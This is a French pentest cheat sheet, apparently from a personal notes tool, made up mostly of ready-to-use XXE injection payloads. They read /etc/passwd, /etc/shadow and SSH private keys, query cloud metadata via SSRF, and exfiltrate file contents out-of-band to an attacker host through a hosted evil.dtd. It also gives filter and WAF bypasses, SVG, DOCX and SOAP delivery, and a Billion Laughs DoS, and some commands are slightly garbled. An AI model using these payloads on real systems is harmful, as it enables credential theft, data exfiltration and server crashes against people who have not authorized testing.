xxexmlinjection
MDstable
XXE — XML External Entity
Exploiter les injections XXE pour lire des fichiers, SSRF et DoS
snippetadvanced 2025-05-13 3 min read
xxexmlinjectionwebexploitationpentestLFISSRF
XXE de base — Lecture de fichier
xml
<!-- Payload dans le body XML de la requête --><?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><root><data>&xxe;</data></root><!-- Windows --><!ENTITY xxe SYSTEM "file:///C:/Windows/win.ini"><!ENTITY xxe SYSTEM "file:///C:/Users/Administrator/Desktop/flag.txt"><!-- Répertoire (liste des fichiers, format dépendant du parser) --><!ENTITY xxe SYSTEM "file:///etc/">
XXE via SSRF
xml
Variables
{{LHOST}}
{{LPORT}}
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]><root><data>&xxe;</data></root><!-- Callback vers serveur attaquant (Blind) --><!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://{{LHOST}}:{{LPORT}}/xxe-ping">]>
XXE Blind — Out-of-Band (OOB)
xml
Variables
{{LHOST}}
{{LPORT}}
<!-- DTD externe hébergée sur le serveur attaquant --><!-- Requête initiale : référencer la DTD externe --><?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://{{LHOST}}:{{LPORT}}/evil.dtd">%xxe;]><root/>
xml
Variables
{{LHOST}}
{{LPORT}}
<!-- evil.dtd sur le serveur attaquant --><!ENTITY % file SYSTEM "file:///etc/passwd"><!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://{{LHOST}}:{{LPORT}}/?data=%file;'>">%eval;%exfil;
bash
Variables
{{LPORT}}
# Écouter les requêtes OOBpython3 -m httpserver {{LPORT}}# Les données du fichier arrivent encodées dans l'URL
XXE via Paramètre d'entité (Plus portable)
xml
Variables
{{LHOST}}
{{LPORT}}
<!DOCTYPE foo [<!ENTITY % data SYSTEM "file:///etc/shadow"><!ENTITY % dtd SYSTEM "http://{{LHOST}}:{{LPORT}}/collect.dtd">%dtd;]><root/>
xml
Variables
{{LHOST}}
{{LPORT}}
<!-- collect.dtd (serveur attaquant) --><!ENTITY % all "<!ENTITY send SYSTEM 'http://{{LHOST}}:{{LPORT}}/?x=%data;'>">%all;
XXE dans différents formats
SVG Upload
xml
<?xml version="1.0" standalone="yes"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/hostname">]><svg width="500px" height="500px" xmlns="http://www.w3.org/2000/svg"><text font-size="16">&xxe;</text></svg>
DOCX / XLSX (XML zippé)
bash
# Dézipper le documentunzip documentdocx -d docx_extracted# Modifier word/document.xml ou xl/workbook.xml# Ajouter le DOCTYPE et l'entité avant <w:document># Rezippercd docx_extractedzip -r /malicious.docx
XXE via SOAP
xml
<soap:Body><getUser><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><userId>&xxe;</userId></getUser></soap:Body>
Bypass de filtres
xml
<!-- Si "SYSTEM" filtré — utiliser PUBLIC --><!ENTITY xxe PUBLIC "Random Text" "file:///etc/passwd"><!-- Encodage UTF-16 pour bypass de WAF --><!-- Changer le Content-Type en application/xml; charset=UTF-16 --><!-- PHP wrapper pour lire du code (bypass filtre sur < ou > dans les fichiers) --><!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"><!-- Décoder le résultat base64 --><!-- Lecture de fichiers avec espaces (erreur de parsing) --><!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/home/user/.ssh/id_rsa">
XXE → DoS (Billion Laughs)
xml
<!-- Ne PAS utiliser sur des cibles non autorisées — peut crasher le serveur --><?xml version="1.0"?><!DOCTYPE lolz [<!ENTITY lol "lol"><!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"><!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"><!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"><!ENTITY lol9 "...">]><lolz>&lol9;</lolz>
Trouver les endpoints XML
bash
# Rechercher dans Burp# Content-Type: application/xml# Content-Type: text/xml# Content-Type: application/x-www-form-urlencoded avec paramètre XML# Endpoints .xml, .xsl, fichiers de config# Tester en modifiant le Content-TypeContent-Type: application/xml# Forcer le parser XML"key" "<?xml version=\"1.0\"?>..." # JSON → XML via content-type change
💡 Tip —
Les XXE Blind OOB sont les plus fréquentes en prod car le résultat n'est pas reflété dans la réponse. Toujours exfiltrer via HTTP vers un serveur contrôlé, jamais via DNS (les données peuvent être tronquées). Pour le bypass de WAF, essayer php://filter avant les payloads directs.
OPS·BRAIN v1.075 notes · Securitylocal